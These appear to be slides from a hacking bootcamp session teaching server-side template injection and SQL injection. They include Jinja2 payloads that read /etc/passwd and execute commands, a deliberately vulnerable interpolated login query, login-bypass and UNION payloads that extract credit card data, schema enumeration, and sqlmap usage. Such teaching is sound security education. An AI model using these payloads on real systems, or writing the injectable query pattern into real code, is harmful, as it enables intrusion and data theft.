Hacking Bootcamp S6: ;DROP flags --

Today

  • Dynamic web pages
    • Server-side template injection
  • SQL
  • SQL injection
  • Database introspection
  • Hack time!

Tools

Install please:

  • Burp Suite

Dynamic web pages

While an HTTP request to a site will usually deliver HTML content, this content may not be always static

Think a social media or news site, the information displayed varies though the day

Client-side dynamic web pages

The dynamism can occur client-side by loading an initial HTML and scripts (JS) that make subsequent requests that modify the DOM with the dynamic content

Example

<!DOCTYPE html>
<html>
  <head>
    <title>View user</title>
  </head>
  <body>
    <p id="output">Loading...</p>

    <script>
      fetch("/user")
        .then((response) => response.json())
        .then((data) => {
          document.getElementById("output").textContent =
            data.name + " (" + data.email + ")";
        })
        .catch(() => {
          document.getElementById("output").textContent =
            "Failed to load data.";
        });
    </script>
  </body>
</html>

The server would implement the /user endpoint and have it return the appropriate information.

Server-side dynamic web pages

Instead of the client building the page, the server can build the response HTML using server-side scripts (e.g., PHP, Python, Node).

Server-side templates

Instead of having to create the response HTML by doing many string operations, we can specify some skeleton for the response and have values placed into the skeleton when generating the response.

Server-side templates specify that skeleton, some logic and variables that must be passed to render the template.

Example

templates/base.html

<!DOCTYPE html>
<html>
<head>
    <title>{{ title }}</title>
</head>
<body>
    <header>
        <h1>Flask App</h1>
        <hr>
    </header>

    {% block content %}{% endblock %}
</body>
</html>

templates/index.html

{% extends "base.html" %}

{% block content %}
    <h2>Fruit List</h2>
    <ul>
        {% for item in items %}
            <li>{{ item }}</li>
        {% endfor %}
    </ul>
{% endblock %}

app.py

from flask import Flask, render_template

app = Flask(__name__)

@app.route("/")
def home():
    items = ["Apples", "Bananas", "Cherries"]
    return render_template("index.html", title="Home", items=items)

if __name__ == "__main__":
    app.run()

Server-side template injection (SSTI)

While passing variables to the template render function is usually safe (the programming language and templating engine take care of that), direct string interpolation into template code is usually not.

If we manage to inject code into the template before it’s rendered, we could have that code execute in the server while the template is inflated.

Identifying possible injection

We can notice server side rendering when a page request varies its response and no client side rendering is being done.

We may be asked to fill a form and get some HTML response back with some portion of the form reflected.

Testing

We can try testing for some basic injections in the possible vulnerable parameters and see if we manage to execute code or have the server respond 500.

Templating languages

The testing payloads and exploitation routes depend on the templating engine used in the backend.

This varies according to the programming language used and programming languages may have different templating engines availables

template-identification.png

A general payload that should 500 many templates engines is:

${{<%[%'"}}%\.

Once identified the templating engine, we should consult the documentation of the template engine and the programming language to find how to exploit it.

Or use resources like HackTricks and PayloadsAllTheThings.

Jinja2

Jinja is a templating engine for Python web frameworks (e.g., Flask, Django).

Expressions are evaluated like {{ exp }}, but we are restricted to what’s present in the Jinja environment.

{{ 7 * 7 }}

Would result in 49.

Payload examples

Read files:

{{ ''.__class__.__mro__[2].__subclasses__() }}

We get a list of classes, locate File.

Assuming it’s 40.

{{ ''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read() }}

Execute commands:

{{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }}

We may have to adapt our payloads to work properly in the server instance.

Template examples

TODO

Exercises

SQL databases

Web applications store data on databases.

The most common storage are SQL databases.

SQL queries are used by the web application to retrieve data from the DB.

This means that client requests cause SQL statements to be executed, probably with some user controlled arguments used.

web_server_layers.png

SQL

While there are many SQL DBMS that vary in some syntax and semantics details, they adhere to a common ISO standard for the Structured Query Language.

There are SQL statements for retrieving, updating, deleting, and inserting data.

There are SQL statements for managing database objects (tables, schemas, users).

Tables

A SQL table is a set of tuples (or rows) with common headings (i.e., a position represent some attribute in each tuple).

sql-table.png

Definition example

CREATE TABLE logins (
    id INT,
    username VARCHAR(100),
    password VARCHAR(100),
    date_of_joining DATETIME
    );

Schemas

A schema is a grouping of SQL tables.

Generally one application will use one schema for its data. Other applications may reuse the DB by specifying their own schema.

SQL statements are executed in the context of a schema on which unqualified tables will be searched (table names can reoccur among schemas).

Nonetheless, schemas can be specified on a per table basis like schema.table.

Note: SQLite does not use schemas, all tables live in the same namespace.

INSERT

Insert rows into a table.

INSERT INTO table_name VALUES (column1_value, column2_value, column3_value, ...);

SELECT

Select data from a table.

SELECT column1, column2 FROM table_name;

The column names must be present in the table.

We can query for all columns with *.

SELECT * FROM table_name;

We can also evaluate expressions among columns.

SELECT column1 * column2 FROM table_name;

And even use literals

SELECT 100 + column1 FROM table_name;

WHERE

We can filter results of SELECT queries.

SELECT * FROM table_name WHERE <expression>;

Possible expressions are:

exp1 < exp2

Also <=, >, and so.

Expressions may be literals (e.g., 'ABC, 2) or column names to refer to the corresponding value in a tuple (the condition is evaluated for each row).

Likewise, each expression may be other expressions to create complex filters.

exp1 = exp2
exp1 != exp2

Test equality and inequality.

exp1 AND exp2

And between two expressions.

exp1 OR exp2

Or between two expressions.

NOT exp

Negates expression result.

Operator precedence is defined in the usual way (e.g., MariaDB).

We can group expressions to force precedence

(exp)

Example

A possible query to check for user credentials could be:

SELECT * FROM user WHERE username = 'tom' AND password = 'toor';

UPDATE

Update (modify in place) rows in a table.

UPDATE table_name SET column1=newvalue1, column2=newvalue2, ... WHERE <condition>;

The possible condition are the same as for the SELECT statements.

SQL injection

Same as in SSTI, there are safe ways of adding user parameters to queries.

Parameterized query:

def login(username, password):
    conn = sqlite3.connect("users.db")
    cursor = conn.cursor()

    cursor.execute(
        "SELECT * FROM users WHERE username = ? AND password = ?",
        (username, password)
    )

    result = cursor.fetchone()
    conn.close()

    return result

But as in SSTI, raw string interpolation is vulnerable:

def login(username, password):
    conn = sqlite3.connect("users.db")
    cursor = conn.cursor()

    query = f"SELECT * FROM users WHERE username = '{username}' AND password = '{password}'"
    cursor.execute(query)

    result = cursor.fetchone()
    conn.close()

    return result

A normal user may give values that when interpolated result in the intended query.

Take username = john, password = neogeo.

SELECT * FROM users WHERE username = 'john' AND password = 'neogeo'

But a malicious user could send username = admin' --, password = pwnd.

The query would become:

SELECT * FROM users WHERE username = 'admin' -- ' AND password = 'pwnd'

As -- is the line comment sequence for SQL, the rest of the query is ignored and the query is subverted.

SQL comments

The comment sequence for SQL is -- , it indicates that the rest of the query line should be ignored.

The sequences /* and # work in some RDBMs too.

Subverting queries

To inject into a query, we must have an idea of the query structure.

In the previous example: username = '{username}' AND password = '{password}', our input was surrounded by single quotes, so our payload was admin' -- that escaped the quotes and then started a comment to ignore the rest of the query line that would be invalid syntax otherwise.

We would like to get an error (500 probably) and a valid query to know that we have escaped the query structure.

Some payloads to test are ', ", #, ; and ).

Once identified the surrounding context, we may inject the query to accomplish our objectives.

Exercises

UNION

We can combine results of multiple SQL queries in one single expression.

SELECT * FROM T1 UNION SELECT * FROM T2;

Both SELECT expressions must return the same number of columns. The column names don’t matter, the names from the first query are used for all.

If we don’t know how many columns are being returned, we can try guessing with literals until we get a successful query.

SELECT * FROM T1 UNION SELECT 1 FROM T2;
SELECT * FROM T1 UNION SELECT 1, 2 FROM T2;
SELECT * FROM T1 UNION SELECT 1, 2, 3 FROM T2;

The second query would have 1 column, 2 columns, and 3 columns respectively.

UNION injection

Take our previous vulnerable query example:

    query = f"SELECT * FROM users WHERE username = '{username}' AND password = '{password}'"

We could have username = AAA' UNION SELECT cc_numbers, cc_cvv FROM credit_cards --, password = pwnd.

The query would become:

SELECT * FROM users WHERE username = 'AAA' UNION SELECT cc_numbers, cc_cvv, 3 FROM credit_cards -- ' AND password = 'pwnd'

And (assuming we have the right number of columns) we would be getting credit card details back with our response.

String concatenation

DBMS support different syntax for concatenating strings.

The two main ones are the function CONCAT() (most RDBMS) and the operator || (PostgreSQL, SQLite).

CONCAT('A', 'B')
'A' || 'B'

Both may result in in 'AB'.

We can use it to concatenate columns.

In the previous example

SELECT * FROM users WHERE username = 'AAA' UNION SELECT cc_numbers || ':' || cc_cvv FROM credit_cards -- ' AND password = 'pwnd'

Would return cc_numbers and cc_cvv in a single column, which could be useful if we wanted to to return more values that columns we have visible in the output.

Column aggregation

While the previous syntax worked for concatenating values in the same tuple, we can also concatenate values across tuples to collapse them into a single row (subject to GROUP BY).

STRING_AGG(row_expression, separator)  -- PostgreSQL, SQLite
GROUP_CONCAT(row_expression SEPARATOR separator)  -- MySQL

The row_expression to concatenate could be a single column name (e.g., user) or some other expression (e.g., user || password, CONCAT(user, password)).

Database introspection

SQL databases store information about their schemas (e.g., schema names, table names, columns in table) into the database itself.

This is usually in the special schema information_schema.

Using this and UNION-injections we can enumerate the tables in a database.

information_schema.schemata

Information about all schemas in the server

Columns:

  • schema_name: Schema name
SELECT schema_name FROM information_schema.schemata;

information_schema.tables

Information about all tables in the server

Columns:

  • table_schema: Schema containing the table
  • table_name: Table name
SELECT table_name FROM information_schema.tables WHERE table_schema = 'app';

information_schema.columns

Information about the columns in every table

Columns:

  • table_schema: Schema containing the table
  • table_name: Table name
  • column_name: Column name
  • data_type: Column data type
SELECT column_name, data_type FROM information_schema.columns
WHERE table_schema = 'app' AND table_name = 'users';

Table enumeration

After locating interesting tables and columns we can do our usual SQL queries to get their data.

SELECT user, password FROM users;

Password dumping

Passwords are usually stored not as plaintext but as some hash of the corresponding password.

Search instructions for john / hashcat cracking or use https://crackstation.net

More information to be seen in future cryptography session.

sqlite_schema

For SQLite, we have a single table that contains the information about all tables in the database.

CREATE TABLE sqlite_schema(
  type text,
  name text,
  tbl_name text,
  rootpage integer,
  sql text
);

From the documentation:

  • type: ’table’, ’index’, ’view’, or ’trigger’
  • name: name of the object
  • sql: SQL text that describes the object

Example

sqlite> SELECT * FROM sqlite_schema;
table|user|user|2|CREATE TABLE user (
	id INTEGER NOT NULL,
	username VARCHAR(80) NOT NULL,
	password_hash VARCHAR(128) NOT NULL,
	PRIMARY KEY (id),
	UNIQUE (username)
)
index|sqlite_autoindex_user_1|user|3|
table|code_snippet|code_snippet|4|CREATE TABLE code_snippet (
	id INTEGER NOT NULL,
	user_id INTEGER NOT NULL,
	code TEXT NOT NULL,
	PRIMARY KEY (id),
	FOREIGN KEY(user_id) REFERENCES user (id)
)
sqlite> SELECT sql FROM sqlite_schema WHERE name = 'user';
CREATE TABLE user (
	id INTEGER NOT NULL,
	username VARCHAR(80) NOT NULL,
	password_hash VARCHAR(128) NOT NULL,
	PRIMARY KEY (id),
	UNIQUE (username)
)

Blind injections

Sometimes, we won’t be able to view the result of the query directly.

In such cases we are injecting blind and must use other mechanism to get the information back.

If we can get some indicator that a query evaluated to false (returned no results), we do a boolean blind injection and extract one bit of information per query.

If no such indicator exists, we may still be able to evaluate something like SLEEP(5) conditionally on the query and the query completion time would get us one bit of information.

As these mechanism are query-intensive (many queries are needed to get complete information), we use automated tools or scripts that do the injections and data collection automatically.

sqlmap

Automatic SQL injection and database takeover tool

Very complete and many options, check the --help, tldr and online examples.

e.g.,

sqlmap -u URL --data=DATA

Tries to inject the given URL with POST data DATA.

Exercises

Further learning

References

Hack time!